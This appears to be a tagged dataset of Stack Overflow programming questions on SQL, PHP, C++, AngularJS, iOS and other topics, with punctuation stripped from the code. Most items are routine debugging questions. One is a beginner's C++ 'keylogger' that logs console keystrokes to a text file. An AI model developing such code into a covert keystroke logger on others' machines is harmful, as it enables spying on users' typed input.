mysql simple table  please help  i need to create a database for car dealership. database has to contain all the employees in the shop and all cars in the shop. also base has to contain info on which car is sold and which employee has sold that car.    i have made the table  but i cannnot connect sold car and employee that sold that car.    <strong>script:</strong>   <pre><code>create database  if not exists `classicmodels` /*!40100 default character set latin1 */; use `classicmodels`; -- mysql dump 10.13  distrib 5.6.13  for win32 (x86) -- -- host: localhost    database: classicmodels -- ------------------------------------------------------ -- server version   5.1.73-community  /*!40101 set @old_character_set_client=@@character_set_client */; /*!40101 set @old_character_set_results=@@character_set_results */; /*!40101 set @old_collation_connection=@@collation_connection */; /*!40101 set names utf8 */; /*!40103 set @old_time_zone=@@time_zone */; /*!40103 set time_zone= +00:00  */; /*!40014 set @old_unique_checks=@@unique_checks  unique_checks=0 */; /*!40014 set @old_foreign_key_checks=@@foreign_key_checks  foreign_key_checks=0 */; /*!40101 set @old_sql_mode=@@sql_mode  sql_mode= no_auto_value_on_zero  */; /*!40111 set @old_sql_notes=@@sql_notes  sql_notes=0 */;  -- -- table structure for table `cars` --  drop table if exists `cars`; /*!40101 set @saved_cs_client     = @@character_set_client */; /*!40101 set character_set_client = utf8 */; create table `cars` (   `carid` int(11) not null auto_increment    `manufacturername` varchar(50) not null    `modelname` varchar(50) not null    `price` int(11) not null    primary key (`carid`) ) engine=innodb auto_increment=25 default charset=latin1; /*!40101 set character_set_client = @saved_cs_client */;  -- -- dumping data for table `cars` --  lock tables `cars` write; /*!40000 alter table `cars` disable keys */; insert into `cars` values (1  volkswagen   jetta  13300) (2  renault   laguna  14700) (3  ford   focus  13600) (4  daewoo   tico  1100) (5  toyota   avensis  14500) (6  alfa romeo   156  8700) (7  volkswagen   passat  22200) (8  renault   clio  6400) (9  ford   fiesta  6900) (10  daewoo   cielo  3600) (11  toyota   rav4  24900) (12  alfa romeo   147  7500) (13  volkswagen   golf  16700) (14  renault   megane  11400) (15  ford   mondeo  14600) (16  daewoo   matiz  1700) (17  toyota   yaris  7400) (18  alfa romeo   159  17000) (19  volkswagen   polo  6500) (20  renault   scenic  6800) (21  ford   escort  2000) (22  daewoo   espero  2500) (23  toyota   corolla  10300) (24  alfa romeo   166  5200); /*!40000 alter table `cars` enable keys */; unlock tables;  -- -- table structure for table `employees` --  drop table if exists `employees`; /*!40101 set @saved_cs_client     = @@character_set_client */; /*!40101 set character_set_client = utf8 */; create table `employees` (   `employeeid` int(11) not null    `lastname` varchar(50) not null    `name` varchar(50) not null    `email` varchar(100) not null    `position` varchar(50) not null    primary key (`employeeid`)    key `prodaja_idx` (`employeeid`) ) engine=innodb default charset=latin1; /*!40101 set character_set_client = @saved_cs_client */;  -- -- dumping data for table `employees` --  lock tables `employees` write; /*!40000 alter table `employees` disable keys */; insert into `employees` values (1  brkic   goran   goran@prodavnicaautomobila.com   direktor ) (2  milosevic   srdjan   srdjan@prodavnicaautomobila.com   marketing ) (3  srdic   boro   boro@prodavnicaautomobila.com   marketing ) (4  marinkovic   marin   marin@cprodavnicaautomobila.com   menadzer prodaje ) (5  nemanjic   tamara   tamara@prodavnicaautomobila.com   prodavac ) (6  kuduz   renato   renato@prodavnicaautomobila.com   prodavac ) (7  salkovic   vladimir   vladimir@prodavnicaautomobila.com   prodavac ) (8  berin   marko   marko@prodavnicaautomobila.com   prodavac ) (9  konjevic   srecko   srecko@prodavnicaautomobila.com   prodavac ) (10  pajic   sasa   sasa@prodavnicaautomobila.com   prodavac ) (11  goranovic   milan   milan@prodavnicaautomobila.com   prodavac ); /*!40000 alter table `employees` enable keys */; unlock tables;  -- -- table structure for table `soldcars` --  drop table if exists `soldcars`; /*!40101 set @saved_cs_client     = @@character_set_client */; /*!40101 set character_set_client = utf8 */; create table `soldcars` (   `carid` int(11) not null    `empoyeeid` varchar(50) not null    primary key (`carid`) ) engine=innodb default charset=latin1; /*!40101 set character_set_client = @saved_cs_client */;  -- -- dumping data for table `soldcars` --  lock tables `soldcars` write; /*!40000 alter table `soldcars` disable keys */; insert into `soldcars` values (1  kuduz ) (2  brkic ) (4  goranovic ) (5  milosevic ) (12  pajic ); /*!40000 alter table `soldcars` enable keys */; unlock tables; /*!40103 set time_zone=@old_time_zone */;  /*!40101 set sql_mode=@old_sql_mode */; /*!40014 set foreign_key_checks=@old_foreign_key_checks */; /*!40014 set unique_checks=@old_unique_checks */; /*!40101 set character_set_client=@old_character_set_client */; /*!40101 set character_set_results=@old_character_set_results */; /*!40101 set collation_connection=@old_collation_connection */; /*!40111 set sql_notes=@old_sql_notes */;  -- dump completed on 2014-03-04 18:47:40 </code></pre>,mysql
cannot delete or update a parent row a foreign key constraint fails rails  i have received the following error when trying to delete a value in rails  <strong>cannot delete or update a parent row a foreign key constraint fails rails</strong>     this is perfectly acceptable to me as i don t want the user to be able to delete the value if it s associated with another value. however  what is the best way to catch the exception and then notify  alert  the user that this value cannot be deleted      thank you      tw,ruby-on-rails
"css for flexible but bounded width padded content section on a line  i want to make a responsive div with flexible symmetric padding and a content area that grows to a maximum width and shrinks to a minimum width described as follows:   <pre><code> &lt;-a-&gt; &lt;------------------ b -----------------&gt; &lt;-a-&gt; +-----+----------------------------------------+-----+ |     |                                        |     | |     |                                        |     | |     |                                        |     | |     |                                        |     | |     |                                        |     | |     |                                        |     | +-----+----------------------------------------+-----+ &lt;------------------------- w -------------------------&gt; </code></pre>   what i want is a css solution that gets me:   <pre><code>a is at least 10px b is as big as possible but no bigger than 1366px b is no smaller than 300px w = b + ( a * 2 ) always </code></pre>   i thought this would be a relatively straightforward thing to figure out with google  but i am finding it surprisingly challenging to come up with a good approach. where i m ending up seems harder than it ought to be (a combination of media queries and calc() calls in my css).     is there a simple approach / trick to doing what i m describing  or is it just a matter of applying the right set of media queries and overriding styles to get the desired effect     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.out {
   background: blue;
   height: 200px;
 }
 
 .in {
   background: red;
   width: calc(100% - 20px);
   height: 100%;
   margin: 0 auto;
   display: block;
 }
 
 @media only screen and (min-width: 1366) {
   .in {
     width: 1346px;
   }
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= out &gt;
   &lt;div class= in &gt;
 lorem ipsum dolor sit amet  consectetur adipiscing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.    
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     basically i want to prevent the red area from getting smaller than 300px or greater than 1366px in width. if it gets bigger than 1366px in width i want the padding to grow symmetrically around it. i think maybe i ve got it",css
bad practice  storing aggregate function data vs. querying  we have a navbar menu that will need to contain the quantity of certain items following the section name. additionally  each user of the system has a different quantity value. the closest analogy i can make to this is a user s inbox and mail folders with the count parenthesized near the name of the folder.   <pre><code>inbox (113) sent (45) myfolder (161) etc.... </code></pre>   my question is this - the navbar is displayed on every page. i am inclined to store the count value of each folder for a user in a separate table  but know that this is considered a bad practice (ie. table normalization). the cost of making the query right now is small but the database will grow. is querying the db each time a view is requested (with aggregates) the best practice,sql
what is the basic use of aligned_storage   what is the basic usage of std::tr1::aligned_storage   can it be used as auto memory for a data type foo like the one below    <pre><code>   struct foo{...};    std::tr1::aligned_storage&lt;sizeof(foo)          std::tr1::alignment_of&lt;foo&gt;::value &gt;::type buf;    foo* f = new (reinterpret_cast&lt;void*&gt;(&amp;buf)) foo();    f-&gt;~foo(); </code></pre>   if so  what about storing multiple foo in the buf like    <pre><code>    std::tr1::aligned_storage&lt;5*sizeof(foo)              std::tr1::alignment_of&lt;foo&gt;::value &gt;::type buf;     foo* p = reinterpret_cast&lt;foo*&gt;(&amp;buf);     for(int i = 0; i!= 5; ++i ++p)     {         foo* f = new (p) foo();     } </code></pre>   are they valid programs  is there any other use case for it    google search only yields the documentation about aligned_storage  but very little about the usage of it.,c++
objective c action doesn t perform unless i value in pickerview will be changed  i am working on app with two view controllers. on the first one is one textfield for input1 along with label for end result. on second view i have textfield for input2  and one pickerview for currenct values. main features are:   <ul> <li> on first run user has to go to 2nd viewcontroller and set desired values in input2 txtfield and on uipicker. they are stored by nsuserdefault function - note that storing data works charmly. </li> <li> on 1st viewcontroller user has to type integer in txtfield and after that it should show the result on label below - (input1*input2)+uipickervalue </li> </ul>   what my main problem is: after typing values into input1 txtfield it should calculate insantly (because of calculate method in viewwillappear) but it doesn t. to obtain a result i have to switch to second view and choose value on uipicker. without that  result is  0.00 (null) . do you have any ideas where did i go wrong  i have no clue about that. f.y.i. there s is another class settings  only with properties in its header.   <pre><code>viewcontroller.m  @interface viewcontroller () &lt;uitextfielddelegate  uialertviewdelegate&gt;  @end  @implementation viewcontroller   -(void) viewwillappear:(bool)animated{     self.energytextfield.delegate = self;   [self calculatetheprice];    }   -(void)userdidsetsettings:(settings *)currentsettings{     self.currentsettings = currentsettings;      [self dismissviewcontrolleranimated:no completion:^(void){       [self calculatetheprice];         }]; } </code></pre>   (...)   <pre><code># pragma mark calculating and segues implementations  -(void)calculatetheprice  {     float wynik = self.currentsettings.kwh * self.currentsettings.price;     self.pricelabel.text = [nsstring stringwithformat:@ %.02f %@   wynik   self.currentsettings.currency]; }  -(void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender  {     if([[segue identifier] isequaltostring:@ settingsegue ]){         self.currentsettings = [[settings alloc]init];         self.currentsettings.kwh = (int)[self.energytextfield.text integervalue];           settingsvc *settingsvc = [segue destinationviewcontroller];         settingsvc.currentsettings = self.currentsettings;         settingsvc.delegate = self;     } } </code></pre>   settingsvc.m   <pre><code>#import  settingsvc.h    @interface settingsvc () &lt;uitextfielddelegate&gt;  @end  @implementation settingsvc  #pragma mark - userdefaults implementation  -(void)viewwillappear:(bool)animated{      [self createcurrencyarray];       nsuserdefaults *pricedef = [nsuserdefaults standarduserdefaults];     nsstring *pricedeftext = [pricedef stringforkey:@ pricecall ];      _pricetextfield.text = pricedeftext;         nsuserdefaults *currencydef = [nsuserdefaults standarduserdefaults];    [_currencypicker selectrow:[currencydef integerforkey:@ currencycall ]          incomponent:0 animated:no];  }   -(void)viewwilldisappear:(bool)animated {       nsstring *textofpricetexfield = _pricetextfield.text;     [[nsuserdefaults standarduserdefaults] setobject:textofpricetexfield forkey:@ pricecall ];  } </code></pre>   (...)   <pre><code>- (ibaction)backbutton:(id)sender {      [self userdidfinishsetting];  }  -(void)userdidfinishsetting{     [self.delegate userdidsetsettings:self.currentsettings]; }   -(void)pickerview:(uipickerview *)pickerview didselectrow:(nsinteger)row incomponent:(nsinteger)component{        nsinteger selectedrow = [_currencypicker selectedrowincomponent:0];    [[nsuserdefaults standarduserdefaults] setinteger:selectedrow forkey:@ currencycall ];       self.currentsettings.currency = [self.currencyarray objectatindex:row];     self.currentsettings.price = [self.pricetextfield.text floatvalue];      //[self userdidfinishsetting];  } </code></pre>   edit #2    i changed method to   <pre><code>-(void)textfielddidendediting:(uitextfield *)textfield{      self.energytextfield.delegate = self;     [self calculatetheprice]; } </code></pre>   it is one step closer  but value still won t calculate unless pickervalue is changed.,objective-c
get different characteristics with join  i m currently having troubles with mysql.    i have 2 tables :   <pre><code>table1 ------ id   name  1    john  table2 ------ id   table1_id name   value 1    1         age    42 2    1         height 172cm </code></pre>   i would like to get all john s characteristics like this :   <pre><code> name age height   john 42  172cm </code></pre>   here is my current query :   <pre><code>select distinct                  if(table2.name =  age   table2.value  0) as age                   if(table2.name =  height   table2.value  0) as height   from table1                  left join table2 on table2.table1_id = table1.id  where                  table1.name =  john  </code></pre>   the problem is the the query returns 2 rows : one with the age  the other one with the height.    i have tried several join types (left  right etc)  tried to remove the  distinct  but i couldn t fix this.    can you help please   :),mysql
bold the first two words from a sentence  in php  how can i bold the first two words from a sentence     thank you!,php
sql -- multiple rows  similar value in a row  need to not show specific values  here is the issue: table name = a   <pre><code>1       2     3       123    1      a 123    1      a 123    2      a 332    1      a 332    1      a 321    2      b 321    2      a 321    1      a </code></pre>   so far what i have is this:   <pre><code>select distinct 1 2 3 from a where a.2= 1  and a.3= b ; </code></pre>   what it returns is each result (except for 321).    i only want to select values column 1 as long as that value is not in a row where there is a 2 in column 2 or a b in column 3. is this possible,sql
does ios have any equivalents to dlls/ipc/process spawning  <ol> <li> are separate apps able to share the same binary in a form like a dll  i know its possible to compile static libraries but i wouldn t count these as the same as a dll (i.e. a dll is one copy of a binary shared by multiple apps  whereas static libraries are separately included by any using app). </li> <li> is each app totally separate from each other  are there any ipc or file sharing mechanisms available for differing apps to communicate and share data  </li> <li> is it possible for an app to create a new process in addition to a new thread (i guess not)  </li> </ol>,ios
activity indicator not showing when there is loop code   i am showing an activity indicator in welcome screen as well as main screen. it is working fine in welcome screen. in main view  there is a  for  loop code which does some task for 16 times. at this time  device looks like a bit hang  to avoid that i want to show activity indicator. when i add the standard activity code in main screen during some loop(16 times) code going on  i m not observing the set activity indicator show. it comes only after the loop finished. i tried giving some delay before doing loop code  but still doesn t show during expected time. otherwise user may think that my app hangs the device  so i want to show activity indicator at that time.    any suggestions to resolve this are welcome !    thanks.,iphone
why this parse from string to datetime fails in c#   i have a datetime <code>eventdate</code> field in my mysql table which i compose from the inputs when i insert it in db:   <pre><code>cmd.parameters.add(  eventdate   mysqldbtype.datetime).value = datetime.parseexact(txteventdate.text +     + txteventtime.text                   mm/dd/yyyy hh:mm   cultureinfo.invariantculture); </code></pre>   and is saved nice:    <blockquote>    2011-05-05 10:20:00  </blockquote>   now  when i read it from db i want to split it but it fails if i do like this:   <pre><code>txteventdate.text = datetime.parseexact(reader.getvalue(7).tostring()   mm/dd/yyyy hh:mm:ss   cultureinfo.invariantculture).date.toshortdatestring(); txteventtime.text = datetime.parseexact(reader.getvalue(7).tostring()   mm/dd/yyyy hh:mm:ss   cultureinfo.invariantculture).timeofday.tostring(); </code></pre>   saying that:    <blockquote>    string was not recognized as a valid datetime.  </blockquote>   do you see any issue  i cannot figure out where i am wrong...,c#
c++ keylog not working properly  i m trying to make a simple keylogger in c++ (for learning only) and it s not quite working how i would like it to. my goal is to have it write to a txt. here s the code i have so far:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;conio.h&gt; #define log(x) logger &lt;&lt; x;  int main() {     using std::ofstream;     using std::fstream;      ofstream logger( logger.txt   fstream::app);      char ascii;     bool typing;      for(;;)     {         if(_kbhit())         {             typing = true;             ascii = getch();             while(typing == true) //tried  if   doesn t work             {                 log(ascii);                 std::cout &lt;&lt; ascii &lt;&lt; std::endl;                 //typing = false;                 //break                 //tried using the above two and didn t work             }         }         else typing = false;     }      logger.close(); } </code></pre>   when i make <code>while(typing == true)</code> continuous  the key that is pressed continuously gets printed  but at least it actually gets saved to the txt. when i try to make the loop stop after one keyboard click  nothing gets saved to the txt.    so what am i doing wrong  thanks for any help!,c++
put the text right-aligned  i m working with codepen.io and i am creating a bargraph. the graph has scales: one on the left and one on the right side.    the problem is that i want the text of value on the left side to be right-aligned. i can t use css to do this  and i believe javascript would do the job.    here are the two functions i am using to draw the scales and the link to my project goes bellow.   <pre><code>function drawscalesleft(numofscales) {     console.log( zeichne linke skala mit   + numofscales +   einheiten );     for(i=0; i &lt;= numofscales ; i++)     {         var currentheight = document.getelementbyid( bargraph ).height;         var ypos = 279.75 * i / numofscales + 10;         var marker = document.createelementns(svgns  rect );             marker.setattributens(null   x   115);             marker.setattributens(null   y   ypos);             marker.setattributens(null   height   0.2);             marker.setattributens(null   width   10);         document.getelementbyid( bargraph ).appendchild(marker);         var markertext = document.createelementns(svgns  text );             markertext.setattributens(null   x   50); //textposition (horinzontal)             markertext.setattributens(null   y   ypos+5);              markertext.textcontent = (100-100 *i/ numofscales).tofixed(digits) +   % ;         document.getelementbyid( bargraph ).appendchild(markertext);     } }  function drawscalesright(numofscales) {     console.log( zeichne rechte skala mit   + numofscales +   einheiten );      for(i=0; i &lt;= numofscales; i++)     {         var currentheight = document.getelementbyid( bargraph ).height;         var ypos = 279.75 * i / numofscales + 10;         var marker = document.createelementns(svgns  rect );             marker.setattributens(null   x   175);             marker.setattributens(null   y   ypos);             marker.setattributens(null   height   0.2);             marker.setattributens(null   width   10);         document.getelementbyid( bargraph ).appendchild(marker);         var markertext = document.createelementns(svgns  text );             markertext.setattributens(null   x   195);//textposition (horinzontal)             markertext.setattributens(null   y   ypos+5);             markertext.textcontent = (500-500 * i/ numofscales).tofixed(digits2) +   m ;         document.getelementbyid( bargraph ).appendchild(markertext);     } } </code></pre>   full code:    <a href= http://codepen.io/cleanwater/pen/lwqyjm editors=0010  rel= nofollow noreferrer >codepen.io/cleanwater/pen/lwqyjm editors=0010</a>,javascript
mysql aurora: handle error in trigger example  <em>hello all </em>    <em>i am creating trigger into the mysql aurora but i want error handling into trigger</em>  <strong>for example</strong>    <pre><code> delimiter $$     create trigger trigger_name     after insert on tablename     for each row      begin     declare v_error tinyint;     set v_error=0;     insert into      table      (    column1     column2     column3     column4     )     values(     new.column1     new.column2     new.column3     new.column4      );     v_error=1;  -- i want set v_error when exception occur     end$$     if v_error &lt;&gt; 0     then     signal  sqlstate  02000  set message_text = 50084     end if;     delimiter ; </code></pre>   actually i am stuck please help on this that will be very helpful    thanks aman,mysql
how to perform the action events in php for the image buttons  i have created one textfield and one dropdownlist and a imagebutton in my  index.php  page as follows:   <pre><code>    &lt;form value= indexform  action=   method= post &gt;     &lt;b&gt;number:&lt;/b&gt;&lt;input type= text  name= number /&gt;&lt;br/&gt;     &lt;b&gt;network:&lt;/b&gt;     &lt;select name= network &gt;     &lt;option selected=  &gt;please...&lt;/option&gt;     &lt;option value= 1 &gt;bsnl&lt;/option&gt;     &lt;option value= 2 &gt;idea&lt;/option&gt;     &lt;/select&gt;     &lt;input type= image  src= ../ad.png  name= proceed  value= submit &gt;     &lt;/form&gt; </code></pre>   and i have used the php code as follows for the above form:   <pre><code>    &lt; php     if(isset($_post[ network ]) &amp;&amp; isset($_post[ number ]))     {     $number = $_post[ number ];     $network = $_post[ network ];     }     if(!empty($_post[ network ]))     {     switch($network)     {     case  1 :header( location:bsnl.php );break;     case  2 :header( location:idea.php );break;     default:exit();     }      &gt; </code></pre>   and i have crated two pages  bsnl.php  and  idea.php  based on the selection taken in the dropdownlist the page will be redirected into either bsnl/idea.php     i want to validate the form in index page after clicking that image button so i want code for action to be performed by that image button such that after validating that fields then it will be redirects into relevant page: can any one help me,php
what character encoding is this  <pre>%d1%81%d0%be%d0%b2%d0%b5%d1%82%d1%81%d0%ba%d0%b0%d1%8f%20%d0%b3%d0%b0%d0%b2%d0%b0%d0%bd%d1%8c</pre>,javascript
angular js and ionic  how do i post html login form to php login form  in a different url using angular js controller  and returning success when the login credential is correct and failure when the credentials are wrong.below is my existing controller and intends to use it together with my html login page while it posts/authenticates the login.php and returns success or failure upon input credentials   <pre><code> .controller( loginctrl   function ($scope  $state  $ionicviewservice  $http  datastore) {     $scope.domain = datastore.domain;     var urlpath = datastore.domain+ /login.php ;      $( #username ).focus();     $( #username  #password ).keyup(function () {         if ($(this).val().length !== 0) {             $( #validate ).hide();         }     });      //authenticates blank fields     $( #login ).on( click   function () {         if ($( #username ).val() ==   ) {             $( #validate ).html( username is required ).show();             $( #username ).focus();          }         else if ($( #password ).val() ==   ) {             $( #validate ).html( password is required ).show();             $( #password ).focus();         }          else {             $.ajax({                 type:  post                   url: urlpath                  data: $( #myloginform ).serialize()                  success: function (html) {                 var resp = html.split( : );                  // alert(resp[0]);                  if (resp[0] ==  success ) {                      $( #validate ).html( wrong username or password ).show();                  }else {                       $state.go( menu.home );                     }                 }              });           // todo: login is actually done here            //todo: validate the login            $ionicviewservice.nextviewoptions({             disableback: true           });              //$state.go( menu.home );           return false;            };       }) }) </code></pre>,angularjs
need help with fread()  i m trying to read in a binary file that contains 20 random numbers.  while the file seems to read in  i only get zeros when i try to output the file contents to screen.      i know there are 20 numbers ranging from 1.00 to 9 999.99.  any help would be appreciated!   <pre><code>#include &lt;stdio.h&gt;   int main() {     int i;          //counter     file *file;     // file pointer     double filecontents[20] = {0.0};      file = fopen( numbers.bin    rb ); // open resfile1.bin in read binary mode      if (file == eof)     {         printf( error: unable to open file.\n\n );         exit(1);    // exit app     }     else         printf( file successfully opened.\n\n );      /**         filecontents    = the array that holds the values read in from fread         sizeof(double)     = the size of the data being read in          20              = the number of things to read in         file            = the pointer to the file we ve opened     **/     fread(filecontents  sizeof(double)  20  file);  // does nothing as far as i can tell      for (i=0; i&lt;20; i++)         printf( %d: %lf\n   i  filecontents[i]);  // displays contents      fclose(file);  // close file      return 0; } </code></pre>,c
using pow with float number <blockquote>    pow ((1 + double1value/100)   double2value)  </blockquote>   is that correct   i need also to    <pre><code># import  math.h  </code></pre>   i m having some issue using that code ...,objective-c
find the duplicate integer number using list  i do a function that find duplicate integers and store and utput number of them as they were arrays.  i create list called  hit  for excluding operation for repetitive number. if i once have find all dupclicates for number i do not need do it again.  but  hit  list does not work. it gives me out of range error. for ex: i have array int[] in_number = {1  2  2  4  5  6  6}; without  hit   it would give me. i already do it. it works.   <pre><code>0 1 2 1 2 3 4 5 6  5 6 </code></pre>   output    with  hit  i try to do (it does not work)   <pre><code>0 1 2 3 4 5 6 </code></pre>   but i wanna (best way)   <pre><code>1 2 5 6  </code></pre>   here is code:   <pre><code>namespace arrow {     class program     {              static void main(string[] args)         {                 int min = 0;         int max = 10;         int[] in_number = new int[100];          random randnum = new random();         for (int i = 0; i &lt; in_number.length; i++)         {             in_number[i] = randnum.next(min  max);         }                                                    duplicate_number_list (in_number);                                }          static void dupnumlist (int[] in_number) // find duplicate numbers                   {                                             list&lt;list&lt;int&gt;&gt; duplicate_pair = new list&lt;list&lt;int&gt;&gt;();                     list&lt;int&gt; hit = new list&lt;int&gt;();                                 for (int i = 1; i &lt; in_number.length; i++)                                 {                                                                                     list&lt;int&gt; sublist = new list&lt;int&gt;();                         foreach (int number in hit)                             {                                 if (number == in_number[i]) // will match once                                  {                                     i++; // go to next iteration; passing unnecessary                                 }                             }                          for (int j = 0; j &lt; in_number.length; j++)                         {                             if (in_number[j]==in_number[i])                             {                                                         sublist.add(j);                                 hit.add(in_number[i]);                             }                         }                         duplicate_pair.add(sublist);                                     }                        foreach (var sublist in duplicate_pair)                     {                         foreach (var value in sublist)                         {                         console.write(value);                         console.write(   );                         }                         console.writeline();                     }                     foreach (var value in hit)                     {                         console.write(value);                         console.write(   );                     }                     console.writeline();                 }                   } } </code></pre>   i don`t wanna use built-in functions,c#
java: how to construct derived class instance given base instance   given:   <pre><code>@lombok.data // generates get/set methods for all data members public class base {     private int x;     private double y;     private string z;     ... }   public class derived extends base {     private int extra;     public string addedmethod() { ... } } </code></pre>   i want to write:   <pre><code>derived createderived(base baseinstance  int extra) { ... } </code></pre>   to produce an instance of derived that has the same base property values as  baseinstance .    what is the most effective way to do this if:   <ol> <li>both base and derived are open for modification</li> <li>base is closed but derived is open</li> </ol>   i would like avoid explicitly enumerating the members of base in the derived code like this:   <pre><code>    derived createderived(base b  int extra) {       setx(b.getx());       sety(b.gety());       setz(b.getz());       ...       this.extra = extra;     } </code></pre>   or this:   <pre><code>derived createderived(base b  int extra) {     super(b.getx()  b.gety()  b.gety()  ...);     this.extra = extra; } </code></pre>   any addition to base then breaks the derived class code.    something like this would be preferable  using a hypothesized copy constructor for base:   <pre><code>    derived createderived(base b  int extra) {       super(b);       this.extra = extra;     } </code></pre>   what is the best way to produce that copy constructor  again it would be preferable to avoid enumerating each member of base.,java
looping json object in ng-repeat  i have a json object containing <code>{ id :1  name : name1 }</code> which i get from  a rest api and i want to display the name property in a list using ng-repeat.  below is what i have in my page:           <pre><code> &lt;ion-item ng-repeat= p in names &gt;         {{p.name}}  &lt;/ion-item&gt;  </code></pre>        it does not display anything with above code and when i change <code>{{ p.name }}</code> to <code>{{ names }}</code> it displays <code>{ id :1  name : name1 }</code>. iterate and get each properties,angularjs
notice: undefined index:username and pincode in php  i m working with db connection  from what it looks like to me when i finish writing it on sublime there s no error. so  i decided to write <code>localhost/*folder*/*filename*.php</code> in my browser to check the connection and suddenly the browser display;    <blockquote>    notice: undefined index: username in c:\xampp\htdocs\login\login.php on line 4   notice: undefined index: pincode in c:\xampp\htdocs\login\login.php on line 5   { success :false}   </blockquote>  <pre><code>&lt; php     $con = mysqli_connect( localhost    root        test );      $username = $_post[ username ];     $pincode = $_post[ pincode ];      $statement = mysqli_prepare($con   select * from users where username =   and pincode =   );     mysqli_stmt_bind_param($statement   ss   $username  $pincode);     mysqli_stmt_execute($statement);      mysqli_stmt_store_result($statement);     mysqli_stmt_bind_result($statement  $id  $username  $pincode);      $response = array();     $response[ success ] = false;        while(mysqli_stmt_fetch($statement)){         $response[ success ] = true;           $response[ id ] = $id;         $response[ username ] = $username;         $response[ pincode ] = $pincode;     }      echo json_encode($response);  &gt; </code></pre>,php
how to create an entry id  it s just how it sounds...    i have an html5 form  and no database. (i did not suggest/support this. i m simply adapting to the environment.)    in order to save entries on the server  i ve decided to write them to a sibling .csv file.    i need an easy way of referencing these entries for logic later down the road  which is where the entry id necessity comes in.    i ve googled around and couldn t find any methods--both procedural and programmatic--that might be of use. though that may be due to my inexperience.    to summarize: how would i create a locally unique entry id string/int in a php file that runs every time a form is submitted,php
java.lang.noclassdeffounderror for referincing projects  i have 2 project in eclipse. one having the mailn method referring the other without a main method.  after adding the reference i am getting the error java.lang.noclassdeffounderror:exception in thread  main,java
variable set but not used  error - how to solve   i get this error  the error is just not for  stringsix  but for all the declared variables :    <pre><code>assignment42.c:22:9: warning: variable ‘stringsix’ set but not used [-wunused-but-set-variable] </code></pre>   i just want to pass it from main to functions. i face this problem many times  could someone please tell me an easy to avoid this problem.    <pre><code>int main() { char ** listofdetails; char ** stringone; char ** stringtwo; char ** stringthree; char ** stringfour; char ** stringfive; char ** stringsix;  listofdetails = lineparse();     printf( %s \n   listofdetails[2]); stringone = seperatestring1(listofdetails); stringtwo = seperatestring2(listofdetails); stringthree = seperatestring3(listofdetails); stringfour = seperatestring4(listofdetails); stringfive = seperatestring5(listofdetails); stringsix = seperatestring6(listofdetails); getchar(); return 0; } </code></pre>,c
android device is not getting deteced in ddms  i am not able to install usb-driver from  sdk/extras/google/usb_driver  and also with an external driver for my sony mt27i device. it would be great if anyone can tell me where i can get driver for sony mt27i device.,android
"disable main button validation new fields snippet jquery  i am working in this post creator  it starts with the main button disabled by default  once the users writes text it gets enabled and is possible to send the form...    <strong>problem</strong>    now i want to add an optional poll...this poll has two textfields to validate if its shown only....    when clicking on <code>add poll</code> the main form button becomes disabled  and those two textfields become requireds fields. if is decided to delete the poll  those two textfields becomes no required again....and the main button reenable only if there is text on the main text field    so there is two option to reenable the main button:    1) writing text in the main textarea without the poll    2) writing text in the main textarea  add the poll with the two textfieds written.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$( #add ).on( click  function(){ 
 
 
 $( #pollcontainer ).show();
 $( #sendbutton ).prop( disabled  true);
 });
 
 $( #delete ).on( click  function(){ 
 
  $( #pollcontainer input ).val(  );
 $( #pollcontainer ).hide();
 $( #sendbutton ).prop( disabled  false);
 });
 
 //starting
 $( #sendbutton ).prop( disabled  true);
 
 $( #maintext ).on( input  function(){ 
 
 if($( #maintext ).val().length==0){
 $( #sendbutton ).prop( disabled  true);
 }else{
 $( #sendbutton ).prop( disabled  false);
 }
 
 
 });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#pollcontainer{display:none;}</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js &gt;&lt;/script&gt;
 
 
 &lt;textarea id= maintext &gt;&lt;/textarea&gt;
    
 
     &lt;button id= add &gt;add new poll&lt;/button&gt; &lt;button id= delete &gt;delete poll&lt;/button&gt;
     
     &lt;div id= pollcontainer &gt;
     &lt;input type=text id= first_entry  /&gt;&lt;br/&gt;
     &lt;input type=text id= second_entry  /&gt;
     &lt;/div&gt;
     
     &lt;hr/&gt;
     
     &lt;input type=submit value= send  id= sendbutton  /&gt;</code></pre>
 </div>
 </div>",jquery
how to build an html template for java mail  i am using java mail to send html content for creating html content.    here is what i ve got:    <pre><code>string format =   &lt;div style=\ font: 100% verdana  arial  helvetica  sans-serif; background: #eee; margin: 0; padding: 20px 0 20px 0; text-align: center; color: #000000;\ &gt;       +       &lt;div style=\ width:46em;  background: #ffffff; margin: 0 auto; text-align: left; \ &gt;  </code></pre>   i would also like to use bootstreap or any another library want to include css file insted of inline css.    how could i reduce my code to avoid use of inline css,java
angularjs - ngrepeat usage  i have a list of items  each has its own item.value and item.name. i want to generate html code as follows:   <pre><code>&lt;option value= {{item.value}} &gt;{{item.name}}&lt;/option&gt; </code></pre>   how can i do it in angularjs  thanks a lot.    update: i forget to mention the list i have is an object because i want to associate the id to use it as an index  for e.g.:   <pre><code>$scope.list={     0:{value:0 name: name0 }      5:{value:5 name: name5 } } </code></pre>,angularjs
corresponding a button with an array slot  i want to put a bunch of buttons on the screen that correspond with an array slot. for example  buttona corresponds to myarray[3][28].    would i have to have a ton of else-if statements like this:   <pre><code>else if (x == 3 &amp;&amp; y == 28)     // it s buttonq  code else if (x == 3 &amp;&amp; y == 29)     // it s buttonr  code </code></pre>   or is there a better way     note: x is the  horizontal  index of the 2d array myarray  while y is its  vertical  index,objective-c
